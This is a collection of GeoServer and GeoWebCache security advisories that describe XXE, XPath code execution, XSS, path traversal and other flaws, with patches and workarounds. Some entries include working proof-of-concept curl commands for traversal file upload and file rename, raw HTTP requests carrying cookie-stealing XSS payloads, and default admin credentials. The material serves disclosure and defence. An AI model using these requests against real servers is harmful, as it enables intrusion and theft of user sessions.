Description

An XML External Entity (XXE) vulnerability was identified. The application accepts XML input through a specific endpoint /geoserver/wms operation GetMap. However, this input is not sufficiently sanitized or restricted, allowing an attacker to define external entities within the XML request.

An XML External Entity attack is a type of attack that occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system impacts.

By exploiting this vulnerability, an attacker can: - Read arbitrary files from the server's file system. - Conduct Server-Side Request Forgery (SSRF) to interact with internal systems. - Execute Denial of Service (DoS) attacks by exhausting resources.

Resolution

Update to GeoServer 2.25.6, GeoServer 2.26.3, or GeoServer 2.27.0.

Impact

The XXE vulnerability can be used to retrieve arbitrary files from the server's file system.

Reference

https://osgeo-org.atlassian.net/browse/GEOS-11682 XBOW-024-081

Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Summary Multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

Details The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to ALL GeoServer instances.

PoC No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

Impact This vulnerability can lead to executing arbitrary code.

Workaround

A workaround exists by removing the gt-complex-x.y.jar file from the GeoServer where x.y is the GeoTools version (e.g., gt-complex-31.1.jar if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed by an extension you are using:

Mitigation for geoserver.war deploy:

1. Stop the application server 2. Unzip geoserver.war into a directory 3. Locate the file WEB-INF/lib/gt-complex-x.y.jar and remove 4. Zip the directory into a new geoserver.war 5. Restart the application server

Mitigation for GeoServer binary:

1. Stop Jetty 2. Locate the file webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar and remove 3. Restart Jetty

The following extensions and community modules are known to have a direct dependency on gt-complex jar and are not expected function properly without it. This is not comprehensive list and additional GeoServer functionality may be dependent on the availability of gt-complex jar: Extensions: Application Schema, Catalog Services for the Web, MongoDB Data Store Community Modules: Features-Templating, OGC API Modules, Smart Data Loader, SOLR Data Store

Mitigation available for prior releases patching three jars in your existing install:

1. Patched gt-app-schema, gt-complex and gt-xsd-core jars may be downloaded for GeoServer: 2.25.1, 2.24.3, 2.24.2, 2.23.2, 2.22.2, 2.21.5, 2.21.4,2.20.7, 2.20.4, 2.19.2, 2.18.0. As example the 2.25.1 page links to geoserver-2.25.1-patches.zip download on source forge.

2. Unzip the geoserver-x.y.z-patches.zip which contains three jars that have been patched to configure commons-jxpath with an empty function list prior to use. These files are drop-in replacements with identical file names to those they are replacing.

3. Follow the instructions above to locate WEB-INF/lib folder and replace the existing gt-app-schema, gt-complex and gt-xsd-core jars with those supplied by the patch.

References https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w https://osgeo-org.atlassian.net/browse/GEOT-7587 https://github.com/geotools/geotools/pull/4797 https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852

DISPUTED GeoServer 2, in some configurations, allows remote attackers to execute arbitrary code via java.lang.Runtime.getRuntime().exec in wps:LiteralData within a wps:Execute request, as exploited in the wild in June 2023. NOTE: the vendor states that they are unable to reproduce this in any version.

Summary A reflected cross-site scripting (XSS) vulnerability exists in the WMS GetFeatureInfo HTML output format that enables a remote attacker to execute arbitrary JavaScript code in a victim's browser through specially crafted SLDBODY parameters.

Details

The WMS service setting that controls HTML auto-escaping is either disabled by default, or completely missing, in the affected versions (see workarounds).

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can: 1. Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

Workarounds Changing any of the following WMS service settings should mitigate this vulnerability in most environments: 1. Enable GetFeatureInfo HTML auto-escaping (available in GeoServer 2.21.3+ and 2.22.1+) 2. Disable dynamic styling 3. Disable GetFeatureInfo text/html MIME type

References https://osgeo-org.atlassian.net/browse/GEOS-11297 https://github.com/geoserver/geoserver/pull/7406

Impact

If GeoServer is deployed in the Windows operating system using an Apache Tomcat web application server, it is possible to bypass existing input validation in the GeoWebCache ByteStreamController class and read arbitrary classpath resources with specific file name extensions.

If GeoServer is also deployed as a web archive using the data directory embedded in the geoserver.war file (rather than an external data directory), it will likely be possible to read specific resources to gain administrator privileges. However, it is very unlikely that production environments will be using the embedded data directory since, depending on how GeoServer is deployed, it will be erased and re-installed (which would also reset to the default password) either every time the server restarts or every time a new GeoServer WAR is installed and is therefore difficult to maintain. An external data directory will always be used if GeoServer is running in standalone mode (via an installer or a binary).

Patches

https://github.com/GeoWebCache/geowebcache/pull/1211

Workarounds

Change environment:

Change from Windows operating system. This vulnerability depends on Windows file paths so Linux and Mac OS are not vulnerable. Change from Apache Tomcat application server. Jetty and WildFly are confirmed to not be vulnerable. Other application servers have not been tested and may be vulnerable.

Disable anonymous access to the embeded GeoWebCache administration and status pages:

1. Navigate to Security > Authentication Page 2. Locate Filter Chains heading 3. Select the web filter filter chain (ant pattern /web/,/gwc/rest/web/,/) 4. Remove ,/gwc/rest/web/ from the pattern (so that /web/,/ is left). 5. Save the changes

References

CVE-Pending

GeoWebCache is a tile caching server implemented in Java. The GeoWebCache disk quota mechanism can perform an unchecked JNDI lookup, which in turn can be used to perform class deserialization and result in arbitrary code execution. While in GeoWebCache the JNDI strings are provided via local configuration file, in GeoServer a user interface is provided to perform the same, that can be accessed remotely, and requires admin-level login to be used. These lookup are unrestricted in scope and can lead to code execution. The lookups are going to be restricted in GeoWebCache 1.21.0, 1.20.2, 1.19.3.

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the GWC Demos Page. Access to the GWC Demos Page is available to all users although data security may limit users' ability to trigger the XSS.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://github.com/GeoWebCache/geowebcache/issues/1171 https://github.com/GeoWebCache/geowebcache/pull/1173

Impact

This vulnerability requires GeoServer Administrator with access to the admin console to misconfigured the Global Settings for log file location to an arbitrary location.

This can be used to read files via the admin console GeoServer Logs page. It is also possible to leverage RCE or cause denial of service by overwriting key GeoServer files.

Patches

As this issue requires GeoServer administrators access, often representing a trusted party, the vulnerability has not yet attracted a volunteer or resources.

Interested parties are welcome to contact geoserver-security@lists.osgeo.org for recommendations on developing a fix.

Workarounds

A system administrator responsible for running GeoServer can define the GEOSERVERLOGFILE parameter, preventing the global setting provided from being used.

The GEOSERVERLOGLOCATION parameter can be set as system property, environment variable, or servlet context parameter.

Environmental variable: bash export GEOSERVERLOGLOCATION=/var/opt/geoserver/logs

System property: bash -DGEOSERVERLOGLOCATION=/var/opt/geoserver/logs

Web application WEB-INF/web.xml: xml <context-param> <param-name> GEOSERVERLOGLOCATION </param-name> <param-value>/var/opt/geoserver/logs</param-value> </context-param>

Tomcat conf/Catalina/localhost/geoserver.xml: xml <Context> <Parameter name="GEOSERVERLOGLOCATION" value="/var/opt/geoserver/logs" override="false"/> </Context>

References

Log location (User Manual)

Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.

References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator's browser when viewed in the REST Resources API. Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information.

Details Upload a new Legend via the New Style page if user has permissions for this. This file is then not checked and is uploaded to the backend system. This file can then be viewed directly by requesting it via the API which will then view the file in its raw format without sanitisation. !image

!image

PoC

1 .User makes the following request to upload file. POST /geoserver/web/wicket/bookmarkable/org.geoserver.wms.web.data.StyleNewPage?11-1.IBehaviorListener.0-dialog-dialog-content-form-submit&wicket-ajax=true&wicket-ajax-baseurl=wicket%2Fbookmarkable%2Forg.geoserver.wms.web.data.StyleNewPage%3F11 HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------37957706701641834739220342753 Content-Length: 619 Connection: close Upgrade-Insecure-Requests: 1

-----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="id89hf0" -----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="userPanel:image" -----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="userPanel:upload"; filename="test.html" Content-Type: text/html <script>alert(document.cookie)</script> -----------------------------37957706701641834739220342753 Content-Disposition: form-data; name="p::submit" 1 -----------------------------37957706701641834739220342753-- 2. File is uploaded to the backend system and is viewable via the API at - /geoserver/rest/resourse/styles as per the screenshot above.

3. If admin user views this file the Javascript is executed and this could be used to craft a payload to steal the user's cookies(as these do not currently use HTTPOnly) !image

Alternatively -

If the user has permissions to use the API to make PUT requests then they can directly upload malicious files as per a request below. This would be viewable in the same way as above.

PUT /geoserver/rest/resource/styles/test2.html HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46Z2Vvc2VydmVy (admin:geoserver default credentials) Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/html Content-Length: 29

<script>alert(1)</script>

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://osgeo-org.atlassian.net/browse/GEOS-11148 https://github.com/geoserver/geoserver/pull/7161

Summary An arbitrary file renaming vulnerability exists that enables an authenticated administrator with permissions to modify stores through the REST Coverage Store or Data Store API to rename arbitrary files and directories with a name that does not end in ".zip".

Details Store file uploads rename zip files to have a ".zip" extension if it doesn't already have one before unzipping the file. This is fine for file and url upload methods where the files will be in a specific subdirectory of the data directory but, when using the external upload method, this allows arbitrary files and directories to be renamed.

PoC Coverage Store Example (workspace and store name are irrelevant and any valid coverage format can be used): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" "http://localhost:8080/geoserver/rest/workspaces/a/coveragestores/b/external.geotiff" Data Store Example (workspace and store name and data store format are irrelevant): curl -XPUT -H"Content-Type:application/zip" -u"admin:geoserver" -d"/file/to/move" "http://localhost:8080/geoserver/rest/workspaces/a/datastores/b/external.c"

Impact Renaming GeoServer files will most likely result in a denial of service, either completely preventing GeoServer from running or effectively deleting specific resources (such as a workspace, layer or style). In some cases, renaming GeoServer files could revert to the default settings for that file which could be relatively harmless like removing contact information or have more serious consequences like allowing users to make OGC requests that the customized settings would have prevented them from making. The impact of renaming non-GeoServer files depends on the specific environment although some sort of denial of service is a likely outcome.

References https://osgeo-org.atlassian.net/browse/GEOS-11213 https://github.com/geoserver/geoserver/pull/7289

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources or in a specially crafted datastore file that will execute in the context of another user's browser when viewed in the Style Publisher. Access to the Style Publisher is available to all users although data security may limit users' ability to trigger the XSS.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://osgeo-org.atlassian.net/browse/GEOS-11149 https://github.com/geoserver/geoserver/pull/7162 https://osgeo-org.atlassian.net/browse/GEOS-11155 https://github.com/geoserver/geoserver/pull/7181

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the WMS GetMap SVG Output Format when the Simple SVG renderer is enabled. Access to the WMS SVG Format is available to all users by default although data and service security may limit users' ability to trigger the XSS.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://osgeo-org.atlassian.net/browse/GEOS-11152 https://github.com/geoserver/geoserver/pull/7173

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another administrator’s browser when viewed in the GWC Seed Form. Access to the GWC Seed Form is limited to full administrators by default and granting non-administrators access to this endpoint is not recommended.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://github.com/GeoWebCache/geowebcache/issues/1172 https://github.com/GeoWebCache/geowebcache/pull/1174

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the WMS GetMap OpenLayers Output Format. Access to the WMS OpenLayers Format is available to all users by default although data and service security may limit users' ability to trigger the XSS.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://osgeo-org.atlassian.net/browse/GEOS-11153 https://github.com/geoserver/geoserver/pull/7174

Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in the GeoServer catalog that will execute in the context of another user's browser when viewed in the MapML HTML Page. The MapML extension must be installed and access to the MapML HTML Page is available to all users although data security may limit users' ability to trigger the XSS.

Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References https://osgeo-org.atlassian.net/browse/GEOS-11154 https://github.com/geoserver/geoserver/pull/7175

A vulnerability was found in GeoServer GeoWebCache up to 1.15.1. It has been declared as problematic. This vulnerability affects unknown code of the file /geoserver/gwc/rest.html. The manipulation leads to direct request. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-243592.

Withdrawn This advisory has been withdrawn as there the effects of the bug would only give the caller an incomplete view of data which they would be authorized to see.

Original Advisory PartialBufferOutputStream2 in GeoServer before 1.6.1 and 1.7.0-beta1 attempts to flush buffer contents even when it is handling an "in memory buffer," which prevents the reporting of a service exception, with unknown impact and attack vectors.

GeoServer is an open source server that allows users to share and edit geospatial data. Starting in version 2.10.0 and prior to versions 2.24.4 and 2.25.1, GeoServer's Server Status page and REST API lists all environment variables and Java properties to any GeoServer user with administrative rights as part of those modules' status message. These variables/properties can also contain sensitive information, such as database passwords or API keys/tokens. Additionally, many community-developed GeoServer container images export other credentials from their start-up scripts as environment variables to the GeoServer (java) process. The precise scope of the issue depends on which container image is used and how it is configured.

The about status API endpoint which powers the Server Status page is only available to administrators.Depending on the operating environment, administrators might have legitimate access to credentials in other ways, but this issue defeats more sophisticated controls (like break-glass access to secrets or role accounts).By default, GeoServer only allows same-origin authenticated API access. This limits the scope for a third-party attacker to use an administrator’s credentials to gain access to credentials. The researchers who found the vulnerability were unable to determine any other conditions under which the GeoServer REST API may be available more broadly.

Users should update container images to use GeoServer 2.24.4 or 2.25.1 to get the bug fix. As a workaround, leave environment variables and Java system properties hidden by default. Those who provide the option to re-enable it should communicate the impact and risks so that users can make an informed choice.